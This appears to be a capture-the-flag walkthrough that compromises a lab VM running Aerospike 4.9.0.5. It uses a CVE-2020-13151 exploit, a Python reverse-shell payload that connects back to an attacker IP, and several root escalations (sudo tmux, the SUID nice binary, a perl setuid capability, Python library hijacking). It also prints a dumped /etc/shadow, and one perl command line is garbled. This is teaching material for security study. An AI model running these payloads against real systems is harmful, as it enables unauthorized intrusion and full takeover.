

AerospikeDb - Hostname

Doing Nmap scan on that target machine reveals that its running two ports i.e 22 and 3000,3001 and 3003 is running on the machine

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-14 00:38 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse
DNS is disabled. Try using --system-dns or specify valid servers
with --dns-servers
```

```
Nmap scan report for 192.168.56.103
```

```
Host is up (0.00030s latency).
```

```
Not shown: 994 closed tcp ports (reset)
```

```
PORT      STATE SERVICE VERSION
```

```
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu
Linux; protocol 2.0)
```

```
| ssh-hostkey:
```

```
|   2048 f078baf4dbd4ea0a699684c82f924d32 (RSA)
```

```
|   256 207a37e35b2202c0c0eb0f57c9857c32 (ECDSA)
```

```
|_  256 d9eaa4586b5cf862c8acf3e281e4a21f (ED25519)
```

```
111/tcp   open  rpcbind  2-4 (RPC #100000)
```

```
| rpcinfo:
```

	program	version	port/proto	service
	100000	2,3,4	111/tcp	rpcbind
	100000	2,3,4	111/udp	rpcbind
	100000	3,4	111/tcp6	rpcbind
	100000	3,4	111/udp6	rpcbind
	100003	3	2049/udp	nfs
	100003	3	2049/udp6	nfs
	100003	3,4	2049/tcp	nfs
	100003	3,4	2049/tcp6	nfs
	100005	1,2,3	35605/tcp6	mountd
	100005	1,2,3	54659/tcp	mountd
	100005	1,2,3	55706/udp6	mountd
	100005	1,2,3	57445/udp	mountd
	100021	1,3,4	33706/udp6	nlockmgr
	100021	1,3,4	45917/tcp6	nlockmgr
	100021	1,3,4	46565/tcp	nlockmgr

```
| 100021 1,3,4 54523/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
```

```
2049/tcp open nfs_acl 3 (RPC #100227)
```

```
3000/tcp open ppp?
```

```
3001/tcp open nessus?
```

```
3003/tcp open cgms?
```

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

```
SF-Port3003-TCP:V=7.93%I=7%D=9/14%Time=65028E49P=x86_64-pc-linux-
gnu%(Ge
```

```
SF:nericLines,1,"\n")%r(GetRequest,1,"\n")%r(HTTPOptions,1,"\n")%r
(RTSPReq
```

```
SF:uest,1,"\n")%r(Help,1,"\n")%r(SSLSessionReq,1,"\n")%r(TerminalS
erverCoo
```

```
SF:kier,1,"\n")%r(Kerberos,1,"\n")%r(FourOhFourRequest,1,"\n")%r(LP
DString,
```

```
SF:1,"\n")%r(LDAPSearchReq,1,"\n")%r(SIPOptions,1,"\n");
```

```
MAC Address: 08:00:27:4A:6B:50 (Oracle VirtualBox virtual NIC)
```

```
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 134.88 seconds

Initial Foothold

Found that aerospike is running on the machine so on searching for any exploit on searchsploit we found

<pre>(harsh@kali)-[~/CVE-2020-13151] \$ searchsploit aerospike</pre>	
Exploit Title	Path
Aerospike Database 5.1.0.3 - OS Command Execution	multiple/remote/49067.py
Shellcodes: No Results	

Also on google found that it is CVE-2020-13151

So lets exploit it

Command:

```
python3 cve2020-13151.py --ahost 192.168.56.103 --cmd "id"
```

```
(harsh@kali)-[~/CVE-2020-13151]
$ python3 cve2020-13151.py --ahost 192.168.56.103 --cmd "id"
[+] aerospike build info: 4.9.0.5

[+] looks vulnerable
[+] populating dummy table.
[+] writing to test.cve202013151
[+] wrote WBttQMPPvTuPDnAi
[+] registering udf
[+] issuing command "id"
uid=1000(vbox) gid=1000(vbox) groups=1000(vbox)
```

Just to check if our exploit is working

Lets take reverse shell on the target machine by starting listener on port 1234 and command goes like this:

```
python3 cve2020-13151.py --ahost 192.168.56.103 --pythonshell --
lport 1234 --lhost 192.168.56.102
```

```
(harsh@kali)-[~/CVE-2020-13151]
$ python3 cve2020-13151.py --ahost 192.168.56.103 --pythonshell --lport 1234 --lhost 192.168.56.102
[+] aerospike build info: 4.9.0.5

[+] looks vulnerable
[+] populating dummy table.
[+] writing to test.cve202013151
[+] wrote LMeImseuPIZHSeJ
[+] registering udf
[+] sending payload, make sure you have a listener on 192.168.56.102:1234.....
```

Got the reverse shell on the session

```
(harsh@kali)-[~]
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.103] 38104
/bin/sh: 0: can't access tty; job control turned off
$
```

Netcat shell Stabilization

Step 1: `python -c 'import pty;pty.spawn("/bin/bash")'`

uses python spawn feature bash shell.

Step 2: `export TERM=xterm`

this gives us the term commands like: `clear`

Step 3: Finally (and most importantly) we will background the shell using Ctrl + Z.

Back in our own terminal we use `stty raw -echo; fg`. This does two things: first, it turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes). It then foregrounds the shell, thus completing the process.

Privilege escalation

From tmux

First thing first we will do `sudo -l`

```
vbox@Aerospike:/home/vbox$ sudo -l
Matching Defaults entries for vbox on Aerospike:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User vbox may run the following commands on Aerospike:
  (ALL : ALL) ALL
  (root) NOPASSWD: /usr/bin/python /home/vbox/scripts/ping.py
  (root) NOPASSWD: /usr/bin/tmux
vbox@Aerospike:/home/vbox$
```

User vbox can run tmux with sudo without any password in last line

So command will be

```
sudo tmux
```

```
root@vbox:/#
```



From SUID

Run the find command to find all the suid files

```
vbox@vbox:/$ find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/umount
/bin/su
/bin/fusermount
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/nice
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/traceroute6.iputils
vbox@vbox:/$
```

We have a SUID which is very unusual Lets check what we have on GTFObins for this nice

| SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which nice) .
./nice /bin/sh -p
```

So executing this can give us privileged access

```
vbox@vbox:/$ /usr/bin/nice /bin/sh -p
# id
uid=1000(vbox) gid=1000(vbox) euid=0(root) groups=1000(vbox)
# cat /etc/shadow
root:*:18885:0:99999:7:::
daemon:*:18885:0:99999:7:::
bin:*:18885:0:99999:7:::
sys:*:18885:0:99999:7:::
sync:*:18885:0:99999:7:::
games:*:18885:0:99999:7:::
man:*:18885:0:99999:7:::
lp:*:18885:0:99999:7:::
mail:*:18885:0:99999:7:::
news:*:18885:0:99999:7:::
uucp:*:18885:0:99999:7:::
proxy:*:18885:0:99999:7:::
www-data:*:18885:0:99999:7:::
backup:*:18885:0:99999:7:::
list:*:18885:0:99999:7:::
irc:*:18885:0:99999:7:::
gnats:*:18885:0:99999:7:::
nobody:*:18885:0:99999:7:::
systemd-network:*:18885:0:99999:7:::
systemd-resolve:*:18885:0:99999:7:::
syslog:*:18885:0:99999:7:::
messagebus:*:18885:0:99999:7:::
_apt:*:18885:0:99999:7:::
lxd:*:18885:0:99999:7:::
uidd:*:18885:0:99999:7:::
dnsmasq:*:18885:0:99999:7:::
landscape:*:18885:0:99999:7:::
pollinate:*:18885:0:99999:7:::
sshd:*:19611:0:99999:7:::
vbox:$6$Kay5QlOK40td0ITj$RtEnrylwVjlbItnaX63AF4HwpNg7iPItRUJr1Ec8DW51VgmwSA.86VAtEhoKFqziho95zyhWmS1xU6Y6LPTLM
.:19611:0:99999:7:::
aerospike!:19611:::::
#
```

So we have the root access from here even we can crack the hash of the root user from this shadow and passwd file.

Capabilities

Run the command to find all the available capabilities

```
getcap -r / 2>/dev/null
```

```
vbox@vbox:/$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet = cap_net_raw+ep
/home/vbox/aerospike-server-community-4.9.0.5-ubuntu18.04/bins/perl = cap_setuid+ep
vbox@vbox:/$
```

so we have here is perl one which is stored in aerospike directory in home directory of vbox

Also to exploit perl capability we can use this

```
/home/vbox/aerospike-server-community-4.9.0.5-ubuntu18.04/bins/perl -e 'use POSIX (setuid); POSIX::setuid(0);'
```

```
exec "/bin/bash";' id
```

```
vbox@vbox:/$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet = cap_net_raw+ep
/home/vbox/aerospike-server-community-4.9.0.5-ubuntu18.04/bins/perl = cap_setuid+ep
-e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";' id18.04/bins/perl
root@vbox:/#
```

We are root here now

Python lib hijacking

```
sudo -l
```

```
vbox@vbox:/home/vbox/scripts$ sudo -l
Matching Defaults entries for vbox on vbox:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User vbox may run the following commands on vbox:
  (ALL : ALL) ALL
  (root) NOPASSWD: /usr/bin/python /home/vbox/scripts/ping.py
  (root) NOPASSWD: /usr/bin/tmux
vbox@vbox:/home/vbox/scripts$
```

Content of ping.py

```
import subprocess
import os
import platform
import time

# Define the target host (e.g., Google's DNS server)
target_host = "8.8.8.8"

# Number of ping attempts
num_attempts = 5

def ping_host(host, num_attempts):
    for i in range(num_attempts):
        if platform.system().lower() == "windows":
            response = os.system("ping -n 1 " + host)
        else:
            response = os.system("ping -c 1 " + host)

        if response == 0:
            print("Ping to {} successful.".format(host))
        else:
            print("Ping to {} failed.".format(host))
        time.sleep(1)

--More-- (81%)
```

So there is no absolute path specified so we can exploit it by creating platform.py and place our payload in that and when python gonna execute this script then our malicious script will get executed because by default python search for imports from current directory


```
import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])
```

Save this on attacker machine as platform.py and download it on target machine from python server

```
(harsh@kali)-[~/CVE-2020-13151]
$ cat platform.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])

(harsh@kali)-[~/CVE-2020-13151]
$
```

Download this in target machine

```
vbox@vbox:/home/vbox/scripts$ vbox@vbox:/home/vbox/scripts$ wget http://192.168.56.102:8000/platform.py
--2023-09-13 08:50:48-- http://192.168.56.102:8000/platform.py
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 218 [text/x-python]
Saving to: 'platform.py'

platform.py      100%[====>]      218  --.-KB/s   in 0s

2023-09-13 08:50:48 (46.5 MB/s) - 'platform.py' saved [218/218]
```

Execute the ping.py script and you will get the shell

```
User vbox may run the following commands on vbox:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/python /home/vbox/scripts/ping.py
(root) NOPASSWD: /usr/bin/tmux
vbox@vbox:/home/vbox/scripts$ sudo /usr/bin/python /home/vbox/scripts/ping.py
```

Shell

```
(harsh@kali)-[~/CVE-2020-13151]
$ rlwrap nc -nvlp 1337
listening on [any] 1337 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.103] 49192 RECON
# id
uid=0(root) gid=0(root) groups=0(root)
#
```